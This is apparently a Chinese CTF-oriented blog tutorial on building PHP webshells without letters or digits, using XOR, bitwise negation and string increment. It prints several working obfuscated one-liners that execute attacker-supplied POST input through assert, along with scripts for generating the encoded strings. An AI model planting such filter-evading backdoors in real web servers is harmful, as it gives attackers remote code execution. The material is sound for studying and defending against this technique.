浅析无字符数字构造webshell
前言:
之前在命令执行的时候多少学了一点,但发现如果不自己去动手实践一下会忘的很快,这次就来动手实践一番。恰好最近做了很多有关无字符数字的CTF题,恰好可以作为例子说一下。
0x00:转换思想:
如果遇到一段代码将字符和数字全部过滤,就要转变思想,既然非字母、数字的字符还存在,就通过各种变换方法构造出我们想要的字符,然后再利用PHP允许动态函数执行的特点,拼接成一个函数名,最后动态执行即可绕过。
#在php5中assert是一个函数,便可以通过上这样的方法来动态执行任意代码
$f='assert';$f(...);
所以思想也很简单了,就是将非字符数字通过处理后进行拼接。
0x01:PHP中的异或
在PHP中,两个变量的值进行异或时,会先将两个变量的值转换为ASCII,再将ASCII转换为二进制,对两对二进制数据进行异或,异或完,再将结果转为ASCII,最后将ASCII转为字符串,即为最终结果。
其实也就是在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串
异或规则
0&0=0 1&1=0 0&1=1 1&0=1
两个二进制数相同时,异或为0,不同为1
下面来看一段通过异或获得的无字符数字webshell
<?php@$_++; // $_ = 1$__=("#"^"|"); // $__ = _$__.=("."^"~"); // _P$__.=("/"^"`"); // _PO$__.=("|"^"/"); // _POS$__.=("{"^"/"); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>
也直接合成一句话进行使用
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
简单分析一下这段代码:
$_++
:对变量名为_
的变量进行自增操作,在PHP中未定义的变量默认值为Null,null==false==0
,因此可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。.=
是字符串的连接
注意因为exp中含有特殊字符,所以需要进行url编码才可以正常使用
再看一下PHITHON师傅通过异或得到webshell,也是一样的原理
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
#$_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');
#$__='_POST';
$___=$$__;
$_($___[_]);
#assert($_POST[_]);
但有一个缺点就是这样构造的webshell代码过长,如果限制了长度就没有办法再进行利用。但如果题目条件限制只能使用异或这种方法来构造webshell,也是可以缩短长度的,可以让字符一起异或使用
如:
<?php
var_dump("#./|{"^"|~`//"); //_POST
var_dump("`{{{"^"?<>/"); //_GET
?>
其实原理都一样,按照顺序进行异或,从而得到相应的字符,就拿GET来说,可以组成下面的payload
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
#$_GET[_]($_GET[__])
简单的异或脚本
<?php
for ($i=0; $i < 256; $i++) { for ($j=0; $j < 256; $j++) { if(chr($i ^ $j) == 'P'){echo(urlencode(chr($i)) . " " . urlencode(chr($j)));echo "\n";}}
}
?>
0x01:PHP中的取反
求反运算符~为单目运算符,具有右结合性。其功能是对参与运算的数的各二进位按位求反。
负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一
利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,如:
拿和
字来说
"和" 的第三个字节的值为 140[0x8c],取反的值为 -141
'和'{2}的结果是"\x8c",其取反即为字母s:
所以当题目限制不能使用字母和数字时,就可以通过结合汉字进行取反绕过,这里就记录下PHITHON 师傅的payload
<?php
$__=('>'>'<')+('>'>'<');
#$__2
$_=$__/$__;
#$_1$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
#$____=assert$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
#$_____=_POST$_=$$_____;
#$_=$_POST
$____($_[$__]);
#assert($_POST[2])
?>
由于Payload中含有一些特殊字符,所以需要对Payload进行一次URL编码才可以正常使用
这种方法是通过和汉字结合来获取webshell,但要注意在PHP7下因为语法所以是不可以直接使用
$a = ~("瞰"{2});
可以使用下面的方法
$___="瞰";
$a = ~($___{2});
除此之外还可以使用另外一种方法进行构造,在上面已经知道了,这两个写法性质一样,得到的结果相同。
<?php
$_="和";
print(~($_{2}));
print(~"\x8c");
?>
#结果为
ss
所以可以直接写成~"\x8c"
这种形式,能够缩减不少字符,脚本如下:
#脚本参考V0n师傅的
def get(shell):hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))hexbit = hexbit.replace('0x','%')print(hexbit)
get('assert')
get('_POST')
#%9e%8c%8c%9a%8d%8b assert
#%a0%af%b0%ac%ab _POST
所以构造exp为:
<?php
$_=~"%9e%8c%8c%9a%8d%8b"; //$_=assert
$__=~"%a0%af%b0%ac%ab"; //$__=_POST$___=$$__;//$___=$_POST
$_($___[_]);//assert($_POST[_])
因为有些payload中含有不可见字符,所以需要用url编码表示,但如果觉得自己的payload没有问题执行不出来的话就编码一下再试,有时也不需要进行编码。
0x03:php 递增/递减运算符
很明显了,如果能够得到"A",那么我们就能通过自增自减,得到所有的字母。
"A"++ ==> "B"
"B"++ ==> "C"
那如何拿到一个值为字符串’A’的变量,在PHP如果强制连接数组和字符串的话,数组将被转换成字符串,其值为"Array"。再取这个字符串的第一个字母,就可以获得"A"。可以测试一下:
故payload为:
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
(PHP函数是大小写不敏感的,所以最终执行的是ASSERT($POST[]),无需获取小写a)
但是这段exp实在是太长了,如果限制了长度基本就没戏了。
0x04:PHP中的短标签
有的时候因为题目限制,比如过滤了空格或字母,但又要上传php文件,可以将<?php
替换为<?=
在PHP中有两种短标签,<??>和<?=?>。<??>相当于对<?php>的替换。而<?=?>则是相当于<? echo>。
例如:
<?= 'shy'?>
PHP的短标签需要将php.ini中设置short_open_tag为on
才能开启短标签(默认是开启的,但似乎又默认注释,所以还是等于没开启)。但实际上在PHP5.4
以后,无论short_open_tag
是否开启,<?=?>
这种写法总是适用的,<??>
这种写法则需要short_open_tag开启才行。
0x05:PHP5与PHP7
- 在PHP5中,
assert()
是一个函数,可以使用$_=assert;$_()
这样的形式来执行代码。但在PHP7中,assert()
变成了一个和eval()
一样的语言结构,不再支持上面那种调用方法。 - 在PHP5中,是不支持
($a)()
这种调用方法的,但在PHP7中支持这种调用方法,因此支持这么写('phpinfo')();
总结
常见的构造方法基本就这几种了,但还有一些构造方法没有写,待做题遇到了再来补充。
浅析无字符数字构造webshell相关推荐
- 无字母数字webshell总结
零基础学黑客,搜索公众号:白帽子左一 关于无字母数字Webshell这个话题,可以说是老生常谈了.之前打 CTF 的时候也经常会遇到,每次都让人头大,所谓无字符webshell,其基本原型就是对以下代 ...
- 无字母数字rce(ctfshow web入门56)
无字母数字rce(ctfshow web入门56) 我们根据这一题直接进入主题 //web56 <?php // 你们在炫技吗? if(isset($_GET['c'])){$c=$_GET[' ...
- 输出字符数字空格个数
转载于:http://www.runoob.com/python/python-exercise-example17.html 判断输入的行中有多少字符数字和空格 #!/usr/bin/python ...
- 无重复数字的随机数字数组
这几天看MFC,头晕眼花,也觉得没有什么可以写的. 今天学习之余,看到一个面试题"1000个范围0-2000的数字,进行排序打印出来".就想着实现一下. 第一步先要建立1000个范 ...
- [转载]浅析jQuery框架与构造对象
浅析jQuery框架与构造对象 这是一些分析jQuery框架的文字 针对jQuery 1.3.2版本 面向的读者应具备以下要求 1.非常熟悉HTML 2.非常熟悉javascript语法知识 3.熟悉 ...
- 有1,2,3,4四个数字,能组成多少个互不相同且无重复数字的三位数 都是多少
有1,2,3,4四个数字,能组成多少个互不相同且无重复数字的三位数 都是多少 /*** 有1.2.3.4四个数字,能组成多少个互不相同且无重复数字的三位数 都是多少* * @author wql* * ...
- Python 案例001 (有四个数字:1、2、3、4,能组成多少个互不相同且无重复数字的三位数)...
题目内容来自网络 ,加入了个人理解的过程 ,和点评 #!/usr/bin/python # -*- coding: UTF-8 -*-#Author : Wumi#题目:有四个数字:1.2.3.4,能 ...
- 代码执行漏洞-无字母数字RCE-create_function()
代码执行漏洞 eval()函数 <?php eval($_POST[0]);?> eval会把接收到的字符串当作PHP代码来执行(一句话木马) 利用这个可以连接蚁剑,而连接密码就是中括号中 ...
- C语言九十七之实现有 1、2、3、4 个数字,能组成多少个互不相同且无重复数字的三位数?都是多少?并且输出多少个
1.题目 实现有 1.2.3.4 个数字,能组成多少个互不相同且无重复数字的三位数?都是多少?并且输出多少个 分析: 可填在百位.十位.个位的数字都是 1.2.3.4.组成所有的排列后再去掉不满足条件 ...
最新文章
- xml放在工程的那个路径下_Ubuntu下配置pyrouge
- Oracle实例和服务知识点
- hook 监控文件 c++_技术分享 | Linux 入侵检测中的进程创建监控
- qt 通过类实现画图_QT案例IDE编写 通过枚举实现编码切换
- Docker动荡在继续:创始人兼CTO离职
- 【antd 3.x】upload上传组件预览pdf格式文件和下载ofd格式文件
- HDU 4289 Control (最大流最小割)
- Altium Designer20下绘制封装、布局、布线及裁板等操作
- 开源生产排程aps(Advanced Planning and Scheduling)软件介绍
- ubuntu安装utorrent,以闪电的速度在六维空间下载东西!
- 每天吃一个核桃好处多多,坚持半年以上,身体会发生五种变化
- ftp免费空间,1种适合小白级别的搭建ftp免费空间的方法
- 云渲染农场优缺点分别是什么?六点详解!
- python 相关性fdr矫正_你的p值,进行FDR校正了吗?
- 洛谷P2006 赵神牛的游戏
- Python 实现简单虚拟跑步机计算消耗的能量
- Calcium不支持中文VS
- MATLAB定义大气湍流模型退化函数,基于改进的Kolmogorov谱湍流模型的图像退化研究...
- Tex2Shape:Detailed Full Human Body Geometry From a Single Image
- GIF动态图怎么制作?试试这些简单方便的制作方法